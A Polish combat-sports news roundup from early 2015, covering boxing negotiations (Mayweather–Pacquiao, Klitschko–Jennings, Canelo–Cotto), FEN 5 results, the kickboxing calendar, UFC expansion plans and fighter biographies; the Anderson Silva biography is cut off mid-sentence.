Inny zwycięzca turnieju “Boxcino” – Rosjanin Petr Petrov podejmie w 10 rundach w kategorii lekkiej zawodnika z bokserskiej Filadelfii, Henry’ego Lundy. Obie walki wydają się wyrównane, co powinno gwarantować emocjonującą noc z pięściarstwem na wysokim poziomie.

Premiera World Combat Games

W niedzielę (18.01) o g. 22:00 na antenie FightKlubu zadebiutują zawody World Combat Games. To światowe igrzyska sportów walki, w których w szranki stają specjaliści różnych stylów i czasami całkiem odmiennych specjalności. Obecnie w kalendarzu imprezy znajdują się takie dyscypliny jak: aikido, boks, szermierka, judo, ju-jitsu, karate, kendo, kickboxing, boks tajski, sambo, savate, sumo, taekwondo, zapasy i wushu. Pierwsza edycja zawodów odbyła się w 2010 roku w Pekinie i wzięło w niej udział ponad tysiąc sportowców z pięciu kontynentów. Kolejne World Combat Games zorganizowane zostały w ubiegłym roku w Sankt Petersburgu, a następne odbędą się w 2016 roku.

Źródło: materiały prasowe

Zapach unosi się w powietrzu

Już czuć, już coraz bliżej. Wydaje się, że zakontraktowanie pojedynku Floyd Mayweather Jr – Manny Pacquiao jest tylko kwestią czasu. Strony nadal rozmawiają, ale komunikaty puszczane w świat dają jasny sygnał, iż negocjacje są na dobrej drodze.

Nie ma chyba człowieka na naszej planecie, który wątpi, że dojdzie do rywalizacji Mayweathera z Pacquiao. Oczywiście, można powiedzieć, iż walka już się rozpoczęła. Chodzi rzecz jasna o walkę medialną, która podkręca całą atmosferę i nadaje jej charakter wielkiego oraz wyczekiwanego show. Fani boksu czekają na ten pojedynek jak na święto. Odkąd pojawiła się informacja o ewentualnym starciu Moneya i Pacmana stał się to temat powszechny i pierwszoplanowy. Niektórzy z pewnością zapomnieli, że jest ktoś taki jak Kliczko. A tak poważnie – Mayweather vs Pacquiao coraz bliżej.

Informowaliśmy, iż w związku z prawdopodobną rywalizacją Moneya i Pacmana swój pojedynek będzie musiał przełożyć Saul Alvarez. Meksykanin ma walczyć z Miguelem Cotto, jednakże strony nadal prowadzą negocjacje. Alvarez chciał stoczyć pojedynek w maju, ale fakt, iż w tym terminie ma odbyć się starcie Mayweathera z Pacquiao narodził konieczność zmiany planów przez Canelo. Wydarzenie. To będzie show, to będzie hit. Zapowiada się prawdziwe arcydzieło. Starcie Maywethera z Pacquiao może być mistrzowskim dziełem. Wydarzeniem, które już w tej chwili pobudza publiczność, a może ją jeszcze bardziej rozpalić. Atmosfera nakręca się sama. Co będzie się działo w dniu walki?

Najprawdopodobniej do starcia gigantów dojdzie 2 maja. Wskazują na to wszystkie znaki na niebie i ziemi. Mówi o tym sam Pacquiao: – Myślę, że stoczymy pojedynek z Maywetherem. Prawdopodobnie spotkamy się 2 maja. Należy czekać na potwierdzenie, a następnie na sam pojedynek – powiedział Pacman.

Hit. Tak najkrócej można nazwać walkę Mayweathera z Pacquiao. Jednakże warto zwrócić uwagę, iż obaj panowie spotykają się i spotkać się nie mogą. Od lat mówi się o rywalizacji Moneya i Pacquiao, ale dopiero teraz dochodzi do konkretów. Z jednej strony to cieszy, z drugiej staną naprzeciw siebie pięściarze, którzy rozpoczynają myślenie o emeryturze. Rzecz jasna – nie będzie to starcie dziadków, ale warto zauważyć, że to ostatni dzwonek.

Mayweather ma to do siebie, że wokół niego zawsze coś się dzieje. Trwają negocjacje z Pacquiao, a tu głos zabiera Amir Khan, który ma nadzieję na walkę z Moneyem.Chcę stoczyć walkę w maju. Myślę o rywalizacji z Mayweatherem, jednak nawet nie jesteśmy blisko rozmów w tej sprawie Daję jego teamowi 5 dni na decyzję i podjęcie kroków w tej sprawie. Jak powiada klasyk – gdzie dwóch się bije tam trzeci korzysta? Raczej nie.

Mayweather i Pacquiao niczym para młodych zakochanych czeka na termin ślubu. Niby wszystko ustalone, wszyscy wszystko wiedzą, tylko nie wiadomo kiedy. Trzeba  czekać. Tylko, żeby któraś ze stron się nie rozmyśliła. Na Mayweathera czeka kolejny rywal, ale Khan twierdzi, że Money obawia się go. Czekamy na wesele, może nas zaproszą.

KM

Kliczko negocjuje od początku

Brakowało tylko podpisów. Wszystko było ustalone – Kliczko i Jennings mieli stanąć twarzą w twarz. Niewykluczone, że tak będzie, ale droga do pojedynku znacznie wydłużyła się.

Cała sytuacja dotyczy faktu związania się promotora Jenningsa, Gary’ego Shawa, z należącą do Jay'a-Z grupą Roc Nation Sports. Team Ukraińca był gotowy do podpisania umowy na pojedynek z Jenningsem, jednak sprawy skomplikowały się. Decyzja Shawa sprawiła, że wszystkie ustalenia między stronami są nieważne i niewiążące. Promotor podpisując umowę o współpracy z Roc Nation Sports stał się pracownikiem grupy, która teraz odpowiada za interesy Bryanta Jenningsa.

Rozmowy między Kliczko, a Jeningsem zmierzały w dobrym kierunku. Poczyniono ustalenia dotyczące walki, które zaakceptowały obie strony. Do pełni szczęścia zabrakło tylko podpisów. – Wszystko było dogadane już w grudniu, ale po tym, jak Shaw sprzedał grupę musimy zacząć negocjować od nowa – powiedział Bernd Boente, odpowiedzialny za organizację walk Władimira Kliczko.

24 kwietnia na gali Barclays Center na Brooklynie swój pojedynek stoczy czempion federacji WBO/IBO/WBA/IBF  w wadze ciężkiej. Pytanie – z kim przyjdzie mu rywalizować? O potencjalnych zastępcach Jenningsa pisaliśmy już wcześniej – są to m.in. Briggs, Stiverne, Wilder. Jednakże okazuje się, że obóz Ukraińca wcale nie musi rozglądać się za kolejnym rywalem. Po prostu trzeba wrócić do początkowej fazy negocjacji z Jenningsem, na co przystał team Kliczko. Przedstawiciele ukraińskiego mistrza już rozpoczęli rozmowy z grupą Roc Nation Sports.

Strony chcą doprowadzić do starcia Kliczko – Jennings. Być może w negocjacjach przydatny okaże się materiał z wcześniejszych rozmów. Oczywiście dla Roc Nation Sports doprowadzenie do zakontraktowania walki z Kliczko byłoby ogromnym sukcesem. Zarówno dla samej grupy, a przede wszystkim dla pretendenta. Warto zaznaczyć, że w obecnym układzie pozycję dominującą ma obóz Ukraińca, choć nie ulega wątpliwości, iż wcześniej też tak było. Niezwykle cenny w tym wypadku jest czas, więc przedłużanie rozmów może być złym rozwiązaniem dla Jenningsa. – Mamy nadzieję, że uda się podpisać umowę na ten pojedynek w połowie tego tygodnia – powiedział Boente.

Co w przypadku przedłużenia negocjacji i niemożności osiągnięcia porozumienia? Obóz mistrza świata przygotowany jest na takie rozwiązanie. Team Ukraińca nie ujawnia swoich planów awaryjnych, ale poważnie bierze pod uwagę, że może nie porozumieć się z obozem Jenningsa. Niewykluczone, iż Kliczko stosuje malutki szantaż, aby jak najszybciej podpisać umowę. Nie ma się, co dziwić, gdyż team czempiona stracił trochę cennego czasu, który mógł przeznaczyć na promocję pojedynku. Niewykluczone jest również przeniesienie pojedynku mistrza świata do Europy w przypadku braku porozumienia z Jenningsem.

W kuluarach pojawiły się informacje na temat ewentualnego starcia Kliczki z pretendentem do tytułu WBO w wadze ciężkiej Tysonem Fury’m. Ponoć promotorzy Brytyjczyka kontraktowali się z obozem czempiona. Team Ukraińca nie wyklucza tej walki, jednak nie dojdzie do niej w kwietniu.

Jennings ma ograniczony czas. Negocjacje startują od początku. Było tak blisko porozumienia, a cała sprawa skomplikowała się. Obóz Ukraińca liczy na szybkie rozstrzygnięcie. Jennings liczy na to, że dostanie szansę. Wszystko w rękach jego teamu.

KM

Na start po sukcesy

Co będzie działo się w kickboxingu w 2015 roku? Z pewnością nie zabraknie wrażeń, pełnych kwintesencji i kunsztu walk oraz  sukcesów. Nasi reprezentanci są potęgą, siłą oraz czołową ekipą na świecie, więc o wyniki możemy być spokojni. Obyśmy mieli okazję jak najczęściej słyszeć Mazurka Dąbrowskiego  na imprezach rangi mistrzowskiej.

Mając na uwadze przyszłość na chwilę cofnijmy się w przeszłość. Rok 2014 był udany dla polskiego kickboxingu. Wydarzenia ostatnich miesięcy potwierdzają ten fakt w zupełności. Iwona Nieroda obroniła pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg. Z kolei Wojciech Wierzbicki sięgnął po zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Ponadto, nasza reprezentacja przywiozła z mistrzostw Europy WAKO w Bilbao aż piętnaście krążków, z ME w Mariborze czternaście. Mało? Apetyt rośnie w miarę jedzenia.

Już w lutym czekają nas mistrzostwa Polski seniorów w kick-light. Impreza odbędzie się w dniach 13 – 15 lutego w Kartuzach. Na początku marca w Kobyłce będą miały miejsce mistrzostwa Polski seniorów i juniorów w low – kick. W marcu (13-15) kickboxing będzie królował w Ożarowie Mazowieckim. W podwarszawskiej miejscowości zobaczymy w akcji juniorów i seniorów w full contact. Z tym, że młodzi adepci rywalizować będą w mistrzostwach Polski, a doświadczeni fighterzy powalczą w Pucharze Polski. W kwietniu sytuacja odwróci się. Poznań będzie gościł najlepszych polskich fighterów w formule full- contact. Z tym, że juniorzy powalczą o Puchar Polski, a seniorzy o mistrzostwo kraju. Maj jest pięknym miesiącem, w którym można się zakochać i przeżyć piękne chwile. Niezapomniane wrażenia czekają nas w Legnicy (22-24 maja), gdzie odbędą się mistrzostwa Polski K-1 juniorów i seniorów. W listopadzie w Jarosławiu odbędzie się Puchar Polski Low Kick. Mistrzostwa Polski Oriental Rules Juniorów i Seniorów zaplanowano na grudzień.

Rywalizacja na poziomie europejskim i światowym zapowiada się emocjonująco. Nasi reprezentanci będą jeździli po świecie nie w celach turystycznych, lecz jako prawdziwi zdobywcy, którzy osiągają szczyty. W marcu (6-8) odbędzie się Irish Open International 2015 w Dublinie. Pod koniec kwietnia warto wybrać się do Austrii. Tam odbędzie się Puchar Świata Austrian Classic Innsbruck. 29 sierpnia – 5 września będzie czasem ogromnych emocji. W Hiszpanii w akcji zaprezentują się młodzi fighterzy podczas Mistrzostw Europy Kadetów i Juniorów WAKO. Październik stanie pod znakiem Mistrzostw Świata Seniorów WAKO Low Kick, K-1 Rules, 
Kick Light. Rywalizacja najlepszych odbędzie się w Serbii w dniach 21 – 30 października. Wtedy ze szczególną uwagą będziemy czekać na melodię Mazurka Dąbrowskiego. Kamil Ruta po raz kolejny? A może ktoś inny? Wroński, Narloch, Bieć, Walkiewicz? Na przełomie października i listopada odbędą się Mistrzostwa Świata Seniorów, Weteranów WAKO Light Contact, Full Contact, Pointfighting, Formy przy Muzyce.

Ważne wydarzenie będzie miało miejsce w lutym. 28 lutego odbędą się obchody dwudziestopięciolecia Polskiego Związku Kickboxingu. Wydarzenie warte uwagi. Kickboxing w Polsce rozwija się i stawia kroki naprzód. Duża w tym zasługa PZKb, który w tym roku obchodzi jubileusz ćwierćwiecza.

Wydarzeń pełnych wrażeń na pewno nie zabraknie. Z pewnością każda impreza dostarczy wiele materiałów do przemyśleń. Do tego należy dodać szczyptę radości, pełne kunsztu walki i sukcesy. Palce lizać! Znaczy musi się udać.

KM

Paweł Kołodziej

Polski bokser urodzony 24 września 1980 roku w Krynicy-Zdroju walczący w kategorii wagowej junior ciężkiej. W Krynicy-Zdroju początkowo trenował taekwondo, jednak po nie długim czasie zmienił dyscyplinę na kickboxing. Jako reprezentant klubu Athletics Poznań zdobył złoty medal w Węgrowie na młodzieżowych mistrzostwach Polski. Jako senior zdobył czterokrotnie Puchar Polski oraz Mistrzostwo Polski w formule Full-Contact.  Na zawodowym ringu bokserskim zadebiutował 25 września 2004 roku, gdzie po 4 rundowym pojedynku pokonał Słowaka Sylvestra Petrovica.  1 lipca 2006 roku zdobył tytuł młodzieżowego mistrza świata federacji WBC, nokautując Węgra Adriana Rajkaia.  24 lutego 2007 roku po raz pierwszy obronił młodzieżowy pas WBC pokonując Gruzina Armena Aziziana. Niemal rok później po raz drugi obronił pas młodzieżowego mistrza świata federacji WBC wygrywając z Węgrem Laszlo Hubertem.  20 czerwca 2009 roku zdobył pas mistrza świata federacji IBC w kategorii junior ciężkiej.  W walce o ten tytuł pokonał Czecha Romana Kracika.  18 grudnia tego samego roku obronił pas federacji IBC, pokonując w 6 rundzie przez TKO Amerykanina Roba Callowaya. 20 marca 2010 roku Paweł stoczył swój 25 pojedynek na zawodowych ringach.  Kołodziej w tym starciu zdobył pas mistrza świata federacji WBF, pokonując w 3 rundzie Anglika Marka Krence’a. 12 czerwca 2010 roku po raz pierwszy obronił tytułu mistrza świata federacji WBF pokonując Kameruńczyka z Francuskim paszportem Parfaita Amougui Amougu.  Walka ta odbyła się w Krynicy-Zdrój. 20 listopada 2010 roku Paweł pokonał Johna McClaina, zdobywając tymczasowy tytuł Mistrza Państw Bałtyckich federacji WBC.  5 marca 2011 roku Polak zmierzył się z Felixem Corą Jr. o pasy WBA International i WBC Baltic. Po 12 rundowym pojedynku jednogłośnie na punkty zwyciężył Paweł. 12 listopada 2011 roku Paweł pas WBA International pokonując w 2 rundzie Mauro Adriana Ordialesa. 17 marca 2012 roku Polak pokonał jednogłośnie na punkty Giuliana LLie. Stawką pojedynku był interkontynentalny pas IBF. 20 kwietnia 2013 roku Paweł pokonał Richarda Halla. Była to pierwsza walka po 13 miesięcznej przerwie spowodowanej kontuzją. 15 czerwca 2013 roku podczas gali Wojak Boxing Night, Paweł pokonał Argentyńczyka Cesara Crennza. 23 listopada na kolejnej gali Wojak Boxing Night , Kołodziej pokonał Princa Anthony Ikeji. 27 września 2014 roku Kołodziej walczył po raz pierwszy o pas mistrza świata federacji WBA. Pojedynek ten przegrał z Denisem Lebiediewem. Była to pierwsza porażka której doznał Polak w zawodowej karierze bokserskiej. 

FEN: Efektowny Biszczak

Piąta gala FEN zakończyła się godnie. Paweł Biszczak zwyciężył po królewsku. Polski zawodnik zakończył walkę w sposób widowiskowy, a przede wszystkim skuteczny. W całości zaprezentował swój kunszt i niezwykłe umiejętności.

Biszczak stoczył pojedynek w formule K-1 77 kg z zawodnikiem z Portugalii – Jano Cruzem. Zdecydowanym faworytem starcia był Polak, którego klasa i możliwości sprawiały, że publiczność zgromadzona na gali w Lubinie oczekiwała prawdziwego show. Biszczak nie zawiódł, choć początkowo niektórym serce szybciej zabiło w obawie o naszego fightera. Cruz okazał się twardym zawodnikiem, który podjął walkę, a nie uciekał od niej. Od początku zawodnicy ruszyli na siebie. Portugalczykowi udało się trafić solidnymi ciosami bokserskimi w głowę Biszczaka. Cruz poczuł siłę i chciał więcej, jednakże Polak  w doskonałym momencie „ukłuł” przeciwnika. Biszczak wykonał ruch, którym zamarkował kopnięcie i zmylił Portugalczyka. Polak potężnie trafił Cruza. Lewe okrężne kopnięcie na wątrobę zrobiło wrażenie na Portugalczyku, który znalazł się na deskach. Cruz nie dał rady podnieść się i kolejne zwycięstwo Biszczaka stało się faktem. Tego oczekiwała publiczność. Efektów specjalnych jak w najlepszym hoolywodzkim filmie. Biszczak uświetnił galę FEN 5 i pokazał organizatorom, że warto na niego stawiać.

Podczas gali w Lubinie odbyło się łącznie dziesięć  walk – pięć w formule K-1 i pięć w MMA. Warto odnotować zwycięstwo Jakuba Kozery w K-1  125 kg. Polski fighter na punkty pokonał Czecha Vilema Fencla. Kozera wykorzystał swoją przewagę fizyczną, kontrolował cały pojedynek, ale sędziowie mieli pewne wątpliwości, jednak niejedno głośną decyzją wygrał Polak. Organizatorzy zaplanowali dwie walki wieczoru. Oprócz pojedynku Biszczak – Cruz, doszło również do starcia Marcina Zontka z Krzysztofem Pietraszakiem w MMA, w którym górą był ten pierwszy. Po pierwszej rundzie Pietraszak nie był zdolny do kontynuowania pojedynku. Ciekawie wyglądała rywalizacja Bartosza Muszyńskiego i Tomasa Guta w K-1 81 kg. Słowak był bardzo ruchliwy i starał się zadawać wiele ciosów, które nie dochodziły do celu. Muszyński jak atakował to porządnie Polak zadawał mocne ciosy, po których na twarzy Guta widać było grymas bólu. Mimo to Słowak wytrzymał cały dystans walki. Sędziowie uznali, że zwycięstwo należy się Muszyńskiemu.

Piątą gala organizacji FEN z pewnością należy zaliczyć do kategorii ciekawych. Połączenie K-1 i MMA to interesujące rozwiązanie dla publiczności. Przede wszystkim organizatorzy dostarczają różnorodności. Widzowie mogą zobaczyć rywalizację w stójce i w parterze – efektowne kopnięcia i zapasy. W Lubinie swoją wartość udowodnił Paweł Biszczak, który pokonał Jano Cruza. Warto nadmienić, że na dziewięć walk wszystkie zakończyły się zwycięstwami Polaków.

Organizacja FEN zapowiada już kolejną galę. Na mapie Polski w siłę rośnie kolejna organizacja związana ze sztukami walki. FEN chce trafić do szerszego audytorium. Czy po kolejnej gali FEN zawojuje Polskę?

Wyniki FEN 5:

Walki wieczoru

K-1 77 kg: Paweł Biszczak pok. przez KO w pierwszej rundzie Janu Cruza
MMA 93 kg: Marcin Zontek pok. Krzysztofa Pietraszaka

Karta główna

K-1 81 kg: Bartosz Muszyński pok. przez decyzję Tomasa Guta
MMA 77 kg: Michał Michalski pok. Adama Niedźwiedzia
K-1 125 kg: Jakub Kozera pok. przez decyzję Vilema Fencla 
MMA 77 kg: Paweł Kordylewicz pok. Georgiya Budkę
K-1 54 kg: Patrycja Krawczyk pok. przez decyzję Alexandrę Jursovę
MMA 77 kg: Patryk Paduch pok. Antona Shimuka
MMA 70 kg: Maciej Kruszewski pok. Yuria Bybochkina

Walka eliminacyjna:

70 kg K-1: Kamil Kaczmarczyk pok. Przez decyzję Jakuba Kozerę

KM

Gale ESPN od 2015 roku na wyłączność w telewizji FightKlub.

Stacja FightKlub pozyskała ekskluzywne prawa do transmisji, doskonale znanej bokserskim kibicom, serii gal ESPN Friday Night Fights. Nowy kontrakt będzie obowiązywał od stycznia 2015 roku. Pierwsza impreza z tego cyklu odbędzie się w najbliższy piątek (09.01.15) w Santa Ynez w Kalifornii, gdzie w głównym wydarzeniu wieczoru Darleys Perez podejmie Johnathana Maicelo w starciu o tymczasowy tytuł mistrza świata WBA wagi lekkiej. Podczas tej samej imprezy wystąpi między innymi zaliczany do czołówki wagi ciężkiej Kubańczyk Mike Perez oraz występujący w kategorii junior półśredniej Francisco Santana. Na transmisję gali Friday Night Fights z Kalifornii telewizja FightKlub zaprasza w nocy z piątku na sobotę od godzinie 03.00. Powtórka zaplanowana jest na sobotę 10 stycznia na godzinę 11.30.

 

W ostatnich latach mająca długie tradycje seria ESPN Friday Night Fights nie była regularnie pokazywana na żywo przez żadną polską telewizję.

Źródło: materiały prasowe

Canelo dopiero w czerwcu?

Saul Alvarez miał zupełnie inny plan. Canelo założył sobie za cel walkę z mistrzem świata federacji WBC wagi średniej Miguelem Cotto i dąży, aby tak się stało. Obecnie prowadzone są negocjacje w sprawie pojedynku. Problem w tym, że Alvarez bardzo chciał walczyć w maju, ale na tym etapie pojawiła się inna propozycja. Propozycja, z której Canelo nie jest zadowolony.

Alvarez bardzo chce stoczyć pojedynek w maju dla siebie i swoich rodaków. Otóż, 5 maja Meksykanie obchodzą rocznicę bitwy pod Puelbą. Canelo zwycięstwem chciał uczcić ten szczególny dzień i oddać cześć bohaterom. Warto zauważyć, że jest to postawa patriotyczna boksera, który zarazem uświadamia społeczeństwo i dba o tradycję. Z tym, że chęci Canelo to jedno, a rzeczywistość to drugie.

Niewykluczone, że do rywalizacji Alvareza z Cotto dojdzie 6 bądź 13 czerwca w Nowym Jorku. Podyktowane jest to faktem, iż coraz bardziej zaawansowane są rozmowy na temat walki Floyda Mayweathera Jr z Manny Pacquiao. Money i Pacman mieliby stanąć w ringu 2 maja. Wydaje się, iż to jest główny powód ewentualnej zmiany terminu pojedynku Canelo – Cotto. Alvarez bardzo chce wejść do ringu 2 maja, jednak z marketingowego, medialnego oraz sportowego punktu widzenia Meksykanin może dużo stracić, jeśli w tym samym dniu rywalizowaliby Mayweather z Pacquiao.

Sam fakt, iż za oba pojedynki potencjalny widz musiałby zapłacić (system PPV) powoduje, że Canelo i Cotto wypadają zdecydowanie gorzej. Większe zainteresowanie budzi walka Mayweathera z Pacquiao, więc próba zakontraktowania starcia w tym samym terminie byłoby prawdziwym samobójstwem. Alvarez zdrowo podchodzi do tej kwestii i jest gotowy do kompromisu. Dla Meksykanina istotne jest starcie z Cotto, do którego od dłuższego czasu dąży.

Jak obecnie wyglądają negocjacje? Idą do przodu. – Obecnie jesteśmy dogadni w 60%. Rozmowy są coraz bardziej zaawansowane, ponieważ grupa Golden Boy oraz 'Canelo' zaczęli wykazywać się elastycznością i są skłoniają się ku naszym rozwiązaniom. Cotto będzie tym, który zadecyduje, czy walka odbędzie 6 czy 13 czerwca – powiedział Gabriel Peñagarícano doradca mistrza federacji WBC wagi średniej. Istotą sprawy jest kwestia samej walki. Fakt, że Canelo jest gotowy do kompromisu w sprawie terminu pojedynku pokazuje, że Meksykanin chce wrócić na szczyt. Czy Cotto mu na to pozwoli? Były mistrz świata federacji WBA/WBC wagi junior średniej rozpoczął medialną grę, w której szukał kontaktu z Portorykańczykiem. Cotto do całej sprawy podchodzi spokojnie i czeka na efekty negocjacji. Głos w kwestii ewentualnej walki zabrał Freddie Roach. Trener Cotto jasno dał do zrozumienia, co się stanie, jeśli dojdzie do tej rywalizacji. – Canelo nie będzie już taki ładny po tym pojedynku. Warto się o tym przekonać. 6 albo 13 czerwca w Nowy Jorku. Decyzja po stronie Cotto, ale negocjacje jeszcze trwają.

KM

Kliczko szuka rywala

Wydawało się, że najbliższym rywalem czempiona IBF/IBO/WBA/WBO wagi ciężkiej Władimira Kliczki będzie Bryant Jennings. Od dłuższego czasu trwały negocjacje między stronami, które zmierzały w dobrym kierunku. Okazuje się,  że wokół pojedynku narodziły się pewne problemy.

Jennings, który w swojej karierze pokonał Artura Szpilkę, miał być kolejny wyzwaniem dla ukraińskiego mistrza. Negocjacje między stronami postępowały i wydawało się, że do potwierdzenia walki brakuje jedynie podpisów. Termin i miejsce pojedynku są już znane. Kliczko będzie walczył 25 kwietnia w  w hali Barclays Center na Brooklynie. Czy z Jenningsem? Między stronami pojawiły się pewne nieścisłości, co sprawia, że negocjacje utknęły w martwym punkcie. Czy strony osiągną konsensus? Team Ukraińca daje sobie jeszcze dwa tygodnie na rozstrzygnięcie sprawy. Jeśli nie dojdzie do porozumienia z Jenningsem to jego miejsce zajmie inny pięściarz.

Rywalem ukraińskiego mistrza mógłby być Shannon Briggs. Bokser już wcześniej był wymieniany w gronie kandydatów do pojedynku z mistrzem wagi ciężkiej. Drugą opcją dla Kliczki jest walka ze zwycięzcą starcia Bermane Stiverne vs Deontay Wilder, które odbędzie się 17 stycznia. Kwestią podstawową jest, aby ewentualny rywal Kliczki był gotowy do pojedynku 25 kwietnia i został zaakceptowany przez HBO i RTL.

Briggs, Stiverne oraz Wilder mają szansę dostać niepowtarzalną okazję, aby walczyć o ogromny dorobek wagi ciężkiej. Wszystko tak naprawdę zależy od Bryanta Jenningsa. Amerykanin został zaakceptowany przez HBO jako kolejny rywal Kliczki, ale nie jest to taki kaliber pięściarza, który gwarantuje określony zysk. Jennings obecnie ma zbyt wysokie wymagania finansowe, co do walki z Ukraińcem. Zdecydowanie musi je obniżyć. Strona mistrza z pewnością chciałaby osiągnąć określony zysk, ale przy obecnych żądaniach Amerykanina i uwzględnieniu wpływów z innych źródeł nie byłaby to kwota satysfakcjonująca. Jennings jest utalentowany bokserem, który może osiągnąć sukces w boksie, jednak na obecną chwilę nie jest aż tak popularny we własnym kraju, aby napędzić całą machinę medialno – marketingową. Rzecz jasna, nazwisko Kliczki robi swoje, ale rywal też ma w tym wypadku znaczenie.

Patrząc na ewentualnych „zastępców” Jenningsa. Briggs jest pięściarzem, który robi wokół siebie dużo szumy, więc pewnością przyciągnąłby uwagę mediów. Gorzej mogłoby być z poziomem sportowym. Ten z kolei zapewniłaby rywalizacja ze Stivernem. Z pewnością dla wszystkich pięściarzy walka z Ukraińcem byłaby ogromnym zaszczytem, jednak wydaje się, że najprawdopodobniej przeciwnikiem mistrza zostałby Briggs. Wątpliwe, aby zwycięzca pojedynku Stiverne – Wilder chciał boksować już w kwietniu. Jeśli nie Jennings, to Briggs?

Jennings ma jeszcze dwa tygodnie. Team Kliczki czeka. Jeśli Amerykanin obniży swoje żądania finansowe do walki dojdzie. Wiadomo, że nie będzie to pojedynek rodem z „Gwiezdnych wojen”, gdyż renoma rywala nie powala. Jennings dobrze prezentował się na ringu i dostał szansę. Teraz musi się zastanowić, co jest dla niego ważniejsze. Licytować się czy stanąć w ringu i sprawdzić się z mistrzem. A Kliczko? Wejdzie do ringu 25 kwietnia i będzie chciał pokonać swojego rywala. Na pewno nazwisko przeciwnika go nie powali.

KM

Wielka gala MMA zagości w Polsce?

W ostatnim czasie w kontekście UFC pojawiały się różne informacje. Również te niezbyt przychylne. Gwiazdy MMA pozwały organizację do sądu za liczne naruszenia. Ponadto, pojawiły się informacje na temat niskiej sprzedaży pakietów PPV w 2014 roku. Mimo tych kłopotów UFC nadal jest niedośgnioną marką i liderem wśród światowych organizacji MMA.

Dla wielu zawodników uczestnictwo w gali organizowanej przez UFC jest wyróżnieniem oraz sportowym awansem. Zupełnie inny świat, inny poziom rywalizacji. Zobaczyć gwiazdy światowego MMA to nie lada gratka. Gratka, która może mieć miejsce w Polsce. UFC podała swoje plany, co do zagranicznych wojaży w 2015 roku. Organizacja uwzględniła również Polskę. Czy będziemy świadkami gali UFC w naszym kraju? Do tego z pewnością jeszcze daleka droga, ale cieszy, że UFC bierze pod uwagę Polskę.

Warto podkreślić, iż organizacja poszerza swoją ekspansję i chce docierać w różne zakątki ziemi. Oczywiście wiąże się to z chęcią zysku oraz budowania potężnego wizerunku, a także utrwalania marki w świadomości społecznej, a w szerszym kontekście – społeczności międzynarodowej. UFC chce rozszerzać swoją strefę wpływów.

Według informacji UFC Tonight najbardziej na planach organizacji skorzysta Brazylia. W Kraju Kawy ma odbyć się aż siedem gal UFC. Na pewno dwie będą miały miejsc się w Rio de Janeiro, a dwie kolejne w Sao Paulo – pierwsza już 22 lutego (UFC Fight Night 61: Bigfoot vs. Mir ). Brazylia po raz kolejny będzie miejscem, w którym zagości najbardziej medialna i najbardziej słyszalna organizacja MMA na świecie. Ciekawie będzie się działo w Europie. UFC zawita do kilku państw na Starym Kontynencie (oczywiście takie są plany, a rzeczywistość może wyglądać inaczej). Organiacja swoje imprezy chciałaby pokazać w: Szkocji, Polsce, Holandii oraz Rosji. Zaplanowana jest już gala, która odbędzie się w Szwecji. W Sztokholmie wydarzeniem będzie UFC on FOX 14: Gustafsson vs. Johnson. 24 stycznia zapowiada się bardzo ciekawa rywalizcja.

W planach UFC ma organizację dwóch gal w Meksyku. Jedna z imprez odbędzie się w Mexico City, a główną atrakcją będzie pojedynek wagi ciężkiej: Cain Velasquez vs Fabricio Werdum. Na brak wrażeń nie może narzekać Australia. UFC planuje w kraju kangurów kilka gal. Na mapie organizacji znalazały się również takiej kraje jak: Japonia, Korea Południowa oraz Filipiny.

Z powyższego wyraźnie widać, że UFC roztacza coraz szersze kręgi. Organizacja w swoich planach nie uwzględniła jedynie kontynentu afrykańskiego. Coraz lepiej UFC ma się w Brazylii, coraz poważniejsze plany wiąże z Australią i Meksykiem. Z kim zwiąże się na kontynencie europejskim? Czy Polska dostąpi zaszczytu goszczenia UFC? Z pewnością byłoby to ciekawe doświadczenie. Wiele zależałoby od klasy fighterów, którzy mieliby się pojawić w Polsce. Jednakże fakt, że nasz kraj znalazł się w planach UFC pokazuje, iż jesteśmy interesującym rynkiem. Znane marki chcą się u nas prezentować. To bardzo ważne. Czekamy zatem na rozwój wypadków.

KM

Anderson "Spider" Silva

Brazylijski zawodnik MMA urodzony 14 kwietnia 1975 roku w Sao Paulo. Uważany za jednego z najlepszych zawodników MMA na świecie bez podziału na kategorie wagowe.  W zawodowym MMA zadebiutował w 1997 roku w Brazylii, jednak regularne starty rozpoczął w 2000 roku dla organizacji Mecca. Pierwszą walkę dla organizacji Mecca Anderson przegrał z Luizem Azeredo. Po tej porażce Silva wygrał dziewięć kolejnych starć z rzędu. W 2002 roku rozpoczął karierę w PRIDE FC. W dwóch pierwszych walkach pokonał Alexa Steblinga oraz Alexandra Otsuke. Na gali Pride 25 zmierzył się z ówczesnym mistrzem UFC Carlosem Newtonem. Brazylijczyk pokonał Kanadyjczyka przez KO.  Kolejnym pojedynkiem na Pride było starcie z Daiju Takase. Pojedynek zakończył się niespodziewaną porażką Andersona.  Po porażce z Japończykiem Anderson wygrał trzy kolejne pojedynki pokonując takich rywali jak: Waldir Dos Anjos, Jeremy Horn, Lee Murray.  31 grudnia 2004 roku na gali PRIDE Schockwave 2004 Anderson zawalczył z Japończykiem Ryo Chonanem, mimo całkowitej dominacji Andersona w walce, Brazylijczyk nie był w stanie zakończyć jej przed czasem. W końcu w trzeciej rundzie Japończyk dźwignią na stopę poddał Silve, był to ostatni pojedynek Andersona dla organizacji PRIDE. Swoją karierę Brazylijczyk kontynuował dla Brytyjskiej organizacji Cage Rage, gdzie pokonał kolejno Jorge Rivere oraz Curtisa Stouta.  W 2006 roku wziął udział w turnieju Hawajskiej organizacji Rumble on the Rock. W pierwszej walce przegrał z Yushin Okamim przez dyskwalifikacje. W tym samym roku stoczył swoją ostatnią walkę dla organizacji Cage Rage, gdzie zwyciężył z Tonym Fryklundem. W połowie 2006 roku związał się z organizacją UFC. W pierwszym starciu dla tej organizacji pokonał efektownie Chrisa Lebena czym rozpoczął serie szesnastu zwycięstw z rzędu. 14 października 2006 roku na gali UFC 64, Anderson pokonał Richa Franklina i zdobył mistrzostwo świata UFC wagi średniej.  Łącznie swojego pasa bronił dziesięciokrotnie pokonując min. Viktora Belforta, Chael Sonnena, Forresta Griffina. 6 lipca 2013 stracił swój pas na rzecz Chrisa Weidmana, który przez TKO pokonał Andersona.  Po stracie pasa Anderson zapowiedział, że nie zamierza odzyskiwać pasa, lecz UFC zestawiło ze sobą zawodników ponownie. Do rewanżu doszło 28 grudnia 2013 roku.  W drugiej rundzie tego starcia, Anderson Silva niefortunnie złamał kość piszczelową nogi, co dało zwycięstwo Amerykaninowi.  Na kilka godzin po walce Anderson Silva 